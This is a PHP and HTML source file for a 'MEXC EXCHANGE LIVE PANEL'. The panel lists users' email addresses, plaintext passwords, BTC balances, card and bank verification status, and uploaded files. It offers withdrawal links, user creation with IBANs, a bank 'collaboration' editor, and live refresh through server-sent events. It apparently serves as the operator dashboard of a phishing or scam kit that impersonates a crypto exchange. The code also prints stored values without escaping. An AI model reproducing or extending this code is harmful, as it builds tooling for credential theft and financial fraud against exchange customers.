<?php
// Define the path to the JSON file
$jsonFilePath = 'data.json';

// Function to fetch JSON data
function fetchData($filePath)
{
    if (!file_exists($filePath)) {
        die("Error: File not found!");
    }
    $jsonContent = file_get_contents($filePath);
    return json_decode($jsonContent, true);
}

// Handle AJAX request for updated data
if (isset($_GET['getData'])) {
    $data = fetchData($jsonFilePath);
    echo json_encode($data);
    exit;
}

// Fetch data for initial rendering
$data = fetchData($jsonFilePath);

// Group data by user_id
$groupedData = [];
foreach ($data as $userId => $userData) {
    $groupedData[$userId] = $userData;
}

function getCardVerificationStatus($userData)
{
    if ($userData['main']['card_status'] == 1) {
        return '<span class="badge bg-success-subtle text-success p-1">Successful</span>';
    } else {
        return '<span class="badge bg-info-subtle text-info p-1">Pending</span>';
    }
}

// Functions for verification statuses
function getEmailVerificationStatus($userData)
{
    if ($userData['main']['email_verified'] == 1) {
        return '<span class="badge bg-success-subtle text-success p-1">Successful</span>';
    } else {
        return '<span class="badge bg-info-subtle text-info p-1">Pending</span>';
    }
}

function getBankVerificationStatus($userData)
{
    if (!empty($userData['bnk_verification'])) {
        foreach ($userData['bnk_verification'] as $verification) {
            if ($verification['status'] == 'verified') {
                return '<span class="badge bg-success-subtle text-success p-1">Successful</span>';
            }
        }
    }
    return '<span class="badge bg-info-subtle text-info p-1">Pending</span>';
}

// Handle SSE connection
if (isset($_GET['sse'])) {
    header('Content-Type: text/event-stream');
    header('Cache-Control: no-cache');
    header('Connection: keep-alive');

    // Get initial file modification time
    $lastModified = filemtime($jsonFilePath);

    while (true) {
        clearstatcache();
        $currentModified = filemtime($jsonFilePath);

        if ($currentModified > $lastModified) {
            $lastModified = $currentModified;
            echo "data: update\n\n";
            ob_flush();
            flush();
        }

        // Sleep for 1 second before checking again
        sleep(1);
    }
    // exit;
}
?>


<!DOCTYPE html>
<html lang="en" data-layout="topnav" data-menu-color="light" data-bs-theme="light" data-layout-mode="fluid"
    data-topbar-color="dark" data-layout-position="fixed" data-sidenav-size="condensed">

<head>
    <title>MEXC LIVE PANEL</title>
    <?php include 'layouts/title-meta.php'; ?>

    <!-- Plugin css -->
    <link href="assets/vendor/admin-resources/jquery.vectormap/jquery-jvectormap-1.2.2.css" rel="stylesheet"
        type="text/css" />

    <?php include 'layouts/head-css.php'; ?>
</head>

<body>
    <!-- Begin page -->
    <div class="wrapper">

        <?php include 'layouts/topbar.php'; ?>


        <div class="content-page">
            <div class="content">

                <!-- Start Content-->
                <div class="container-fluid">

                    <div class="row">
                        <div class="col-12">
                            <div class="page-title-box">
                                <h4 class="page-title">MEXC EXCHANGE LIVE PANEL</h4>
                            </div>
                        </div>
                    </div>


                    <div class="row">

                        <div class="col-xl-12">
                            <div class="card">
                                <div class="d-flex card-header justify-content-between align-items-center">
                                    <div>
                                        <h4 class="header-title">User Information</h4>
                                        <p class="text-muted fs-14 mt-1">
                                            Complete and detailed user information for this live panel, with available
                                            actions.
                                        </p>
                                    </div>
                                    <div>
                                        <button type="button" class="btn btn-success" data-bs-toggle="modal"
                                            data-bs-target="#event-modal"><i class="ri-add-circle-fill"></i> Add New
                                            User</button>
                                        <button type="button" class="btn btn-secondary" onclick="location.href='collaboration.php'"><i class="ri-edit-circle-fill"></i> Bank
                                            Collaboration</button>
                                    </div>
                                </div>
                                <div class="card-body" style="padding-top: 0px;">
                                    <div class="table-responsive-sm">
                                        <table class="table table-bordered table-centered mb-0">
                                            <thead>
                                                <tr>
                                                    <th>Email Address</th>
                                                    <th>Password</th>
                                                    <th>Balance</th>
                                                    <th>Card Status</th>
                                                    <th>Email Status</th>
                                                    <th>Bank Status</th>
                                                    <th>Uploaded File</th>
                                                    <th class="text-center">Action</th>
                                                    <th style="display:none;">User ID</th>
                                                </tr>
                                            </thead>
                                            <tbody id="table-body">
                                                <?php foreach ($groupedData as $userId => $userData): ?>
                                                    <tr>
                                                        <td style="display:none;"><?= $userId ?></td>
                                                        <td class="table-user"><?= $userData['main']['email'] ?></td>
                                                        <td><?= $userData['main']['pass'] ?></td>
                                                        <td><?= $userData['main']['btc_balance'] ?></td>
                                                        <td><?= getCardVerificationStatus($userData) ?></td>
                                                        <td><?= getEmailVerificationStatus($userData) ?></td>
                                                        <td><?= getBankVerificationStatus($userData) ?></td>
                                                        <td>
                                                            <?php if (!empty($userData['main']['uploads'])): ?>
                                                                <button type="button"
                                                                    onclick="window.open('<?= $userData['main']['uploads'] ?>', '_blank')"
                                                                    class="btn btn-sm btn-light">
                                                                    <i class="ri-eye-line"></i> View
                                                                </button>
                                                            <?php else: ?>
                                                                Null
                                                            <?php endif; ?>
                                                        </td>
                                                        <td class="text-center">
                                                            <a href="edit.php?id=<?= $userId ?>"
                                                                class="no-button text-reset fs-16 px-1">
                                                                <i class="ri-eye-line"></i></a>
                                                            <a href="withdrawal.php?id=<?= $userId ?>"
                                                                class="no-button text-reset fs-16 px-1">
                                                                <i class="bi bi-cash fs-20"></i></a>
                                                            <button id="deleteUser" class="no-button tset fs-16 px-1">
                                                                <i class="ri-delete-bin-2-line"></i></button>
                                                        </td>
                                                    </tr>
                                                <?php endforeach; ?>
                                            </tbody>
                                        </table>
                                    </div> <!-- end table-responsive-->

                                </div> <!-- end card body-->
                            </div> <!-- end card -->

                            <div class="modal fade" id="event-modal" tabindex="-1">
                                <div class="modal-dialog">
                                    <div class="modal-content">
                                        <form class="needs-validation" name="event-form" id="form-event" method="post"
                                            novalidate>
                                            <div class="modal-header py-3 px-4 border-bottom-0">
                                                <div>
                                                    <h3 class="modal-title" id="modal-title">Add New User</h3>
                                                    <p>Fill in below to create a new user profile.</p>
                                                </div>
                                                <button type="button" class="btn-close" data-bs-dismiss="modal"
                                                    aria-label="Close"></button>
                                            </div>
                                            <div class="modal-body px-4 pb-4 pt-0">
                                                <div class="row">
                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Email</label>
                                                            <input class="form-control" type="text" name="email"
                                                                required />
                                                        </div>
                                                    </div>

                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Password</label>
                                                            <input class="form-control" type="text" name="pass"
                                                                required />
                                                        </div>
                                                    </div>

                                                    <div class="col-12">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">BTC Balance</label>
                                                            <input class="form-control" type="text" name="btc_balance"
                                                                required />
                                                        </div>
                                                    </div>

                                                    <hr style="margin-bottom: 13px;">
                                                    <strong style="padding-bottom: 15px;font-size: 17px;">Payment
                                                        Information</strong>
                                                    <hr>

                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Name</label>
                                                            <input class="form-control" type="text" name="name"
                                                                required />
                                                        </div>
                                                    </div>
                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Surname</label>
                                                            <input class="form-control" type="text" name="surname"
                                                                required />
                                                        </div>
                                                    </div>
                                                    <div class="col-12">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">IBAN</label>
                                                            <input class="form-control" type="text" name="iban"
                                                                required />
                                                        </div>
                                                    </div>


                                                </div>
                                                <div id="form-messages"></div> <!-- For displaying messages -->
                                                <div class="row">
                                                    <div class="col-6">
                                                    </div>
                                                    <div class="col-6 text-end">
                                                        <button type="button" class="btn btn-light me-1"
                                                            data-bs-dismiss="modal">Close</button>
                                                        <button type="submit" class="btn btn-success"
                                                            id="btn-save-event">Save</button>
                                                    </div>
                                                </div>
                                            </div>
                                        </form>
                                    </div> <!-- end modal-content-->
                                </div> <!-- end modal dialog-->
                            </div>

                            <div class="modal fade" id="collab-modal" tabindex="-1">
                                <div class="modal-dialog">
                                    <div class="modal-content">
                                        <form class="needs-validation" name="collab-form" id="form-collab" method="post"
                                            novalidate>
                                            <div class="modal-header py-3 px-4 border-bottom-0">
                                                <div>
                                                    <h3 class="modal-title" id="modal-title">Edit Bank Collaboration
                                                    </h3>
                                                    <p>Fill in below to edit information about MEXC and any bank
                                                        collaboration</p>
                                                </div>
                                                <button type="button" class="btn-close" data-bs-dismiss="modal"
                                                    aria-label="Close"></button>
                                            </div>
                                            <div class="modal-body px-4 pb-4 pt-0">
                                                <div class="row">
                                                    <div class="col-lg-6">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Bank Name</label>
                                                            <input class="form-control" type="text" name="bank_name"
                                                                required />
                                                        </div>
                                                    </div>

                                    <div class="col-lg-6">
                                        <div class="mb-3">
                                            <label class="control-label form-label">Bank Image</label>
                                            <div class="d-flex align-items-center gap-2">
                                                <input class="form-control" type="file" name="bank_image" 
                                                    id="bank_image" accept="image/*" onchange="previewBankImage(this)" />
                                                <img id="bank_image_preview" src="" alt="Preview" 
                                                    style="width: 40px; height: 40px; object-fit: cover; border-radius: 4px; border: 1px solid #ddd; display: none;" />
                                            </div>
                                        </div>
                                    </div>                                                    <hr style="margin-bottom: 13px;">
                                                    <strong style="padding-bottom: 5px;font-size: 17px;">Description</strong>

                                                    <div class="col-12">
                                                        <div class="mb-3">
                                                            <label class="control-label form-label">Content</label>
                                                            <textarea class="form-control" name="bank_content" rows="10" id=""></textarea>
                                                        </div>
                                                    </div>


                                                </div>
                                                <div id="form-messages"></div> <!-- For displaying messages -->
                                                <div class="row">
                                                    <div class="col-6">
                                                    </div>
                                                    <div class="col-6 text-end">
                                                        <button type="button" class="btn btn-light me-1"
                                                            data-bs-dismiss="modal">Close</button>
                                                        <button type="submit" class="btn btn-success"
                                                            id="btn-save-bank">Save</button>
                                                    </div>
                                                </div>
                                            </div>
                                        </form>
                                    </div> <!-- end modal-content-->
                                </div> <!-- end modal dialog-->
                            </div>
                        </div>
                    </div>
                    <!-- end row -->

                </div>
                <!-- container -->

            </div>
            <!-- content -->

            <?php include 'layouts/footer.php'; ?>

        </div>

        <!-- ============================================================== -->
        <!-- End Page content -->
        <!-- ============================================================== -->

    </div>
    <!-- END wrapper -->


    <script>
        function previewBankImage(input) {
            const preview = document.getElementById('bank_image_preview');
            
            if (input.files && input.files[0]) {
                const reader = new FileReader();
                
                reader.onload = function(e) {
                    preview.src = e.target.result;
                    preview.style.display = 'block';
                }
                
                reader.readAsDataURL(input.files[0]);
            } else {
                preview.style.display = 'none';
                preview.src = '';
            }
        }
        
        document.getElementById('form-event').addEventListener('submit', function (e) {
            e.preventDefault();

            const form = this;
            const submitBtn = document.getElementById('btn-save-event');
            submitBtn.disabled = true;

            // Collect form data
            const formData = new FormData(form);

            // Send AJAX request
            fetch('actions/add_user.php', {
                method: 'POST',
                body: formData
            })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        // Show success message
                        const successHtml = `
                            <div class="alert alert-success" role="alert">
                                ${data.message} (ID: ${data.userId})
                            </div>
                        `;

                        // Insert success message at the top of the modal body
                        const modalBody = document.querySelector('.modal-body');
                        modalBody.insertAdjacentHTML('afterbegin', successHtml);

                        // Clear form
                        form.reset();

                        // Get the modal instance and hide it
                        const modal = bootstrap.Modal.getInstance(document.querySelector('#event-modal')); // Replace with your modal ID
                        modal.hide();

                        // Remove the success message (optional)
                        const alert = document.querySelector('.alert-success');
                        if (alert) {
                            alert.remove();
                        }

                        // Refresh the page or update table
                        location.reload(); // Or use your existing updateTableData() function
                    } else {
                        alert('Error: ' + data.message);
                        submitBtn.disabled = false;
                    }
                })
                .catch(error => {
                    alert('Error: ' + error);
                    submitBtn.disabled = false;
                });
        });
    </script>
    <script>
        document.addEventListener('DOMContentLoaded', function () {
            // Add click event to all delete buttons
            document.querySelectorAll('#deleteUser').forEach(button => {
                button.addEventListener('click', function () {
                    // Get the user_id from the hidden column in the same row
                    const userId = this.closest('tr').querySelector('td[style="display:none;"]').textContent;

                    // Confirm deletion
                    if (confirm('Are you sure you want to delete this user?')) {
                        // Send AJAX request to delete the user
                        fetch('actions/delete_user.php', {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json',
                            },
                            body: JSON.stringify({ user_id: userId })
                        })
                            .then(response => response.json())
                            .then(data => {
                                if (data.success) {
                                    this.closest('tr').remove();
                                } else {
                                    alert('Error deleting user: ' + data.message);
                                }
                            })
                            .catch(error => {
                                alert('Error: ' + error);
                            });
                    }
                });
            });
        });
    </script>
    
    <script>
        // Handle Bank Collaboration Form Submission
        document.addEventListener('DOMContentLoaded', function() {
            const collabForm = document.querySelector('#collab-modal form');
            const saveBankBtn = document.getElementById('btn-save-bank');
            
            if (collabForm && saveBankBtn) {
                collabForm.addEventListener('submit', function(e) {
                    e.preventDefault();
                    
                    saveBankBtn.disabled = true;
                    saveBankBtn.innerHTML = 'Saving...';
                    
                    // Create FormData object to handle file upload
                    const formData = new FormData(this);
                    
                    // Send AJAX request
                    fetch('actions/save_bank_collaboration.php', {
                        method: 'POST',
                        body: formData
                    })
                    .then(response => response.json())
                    .then(data => {
                        if (data.success) {
                            // Show success message
                            const successHtml = `
                                <div class="alert alert-success" role="alert">
                                    ${data.message}
                                </div>
                            `;
                            
                            // Insert success message at the top of the modal body
                            const modalBody = collabForm.querySelector('.modal-body');
                            modalBody.insertAdjacentHTML('afterbegin', successHtml);
                            
                            // Reset form
                            collabForm.reset();
                            
                            // Hide image preview
                            const preview = document.getElementById('bank_image_preview');
                            if (preview) {
                                preview.style.display = 'none';
                                preview.src = '';
                            }
                            
                            // Close modal after delay
                            setTimeout(() => {
                                const modal = bootstrap.Modal.getInstance(document.querySelector('#collab-modal'));
                                if (modal) {
                                    modal.hide();
                                }
                                
                                // Remove success message
                                const alert = document.querySelector('.alert-success');
                                if (alert) {
                                    alert.remove();
                                }
                            }, 2000);
                            
                        } else {
                            // Show error message
                            const errorHtml = `
                                <div class="alert alert-danger" role="alert">
                                    ${data.message}
                                </div>
                            `;
                            
                            const modalBody = collabForm.querySelector('.modal-body');
                            modalBody.insertAdjacentHTML('afterbegin', errorHtml);
                            
                            // Remove error message after delay
                            setTimeout(() => {
                                const alert = document.querySelector('.alert-danger');
                                if (alert) {
                                    alert.remove();
                                }
                            }, 5000);
                        }
                    })
                    .catch(error => {
                        console.error('Error:', error);
                        alert('An error occurred while saving the bank collaboration.');
                    })
                    .finally(() => {
                        saveBankBtn.disabled = false;
                        saveBankBtn.innerHTML = 'Save';
                    });
                });
            }
        });
    </script>
    
    <?php include 'layouts/right-sidebar.php'; ?>

    <?php include 'layouts/footer-scripts.php'; ?>

    <!-- Dashboard App js -->
    <script src="assets/js/pages/demo.dashboard.js"></script>

    <!-- App js -->
    <script src="assets/js/app.min.js"></script>

    <!-- SEE js for ajax page refresh -->
    <script src="assets/js/sse.js"></script>


</body>

</html>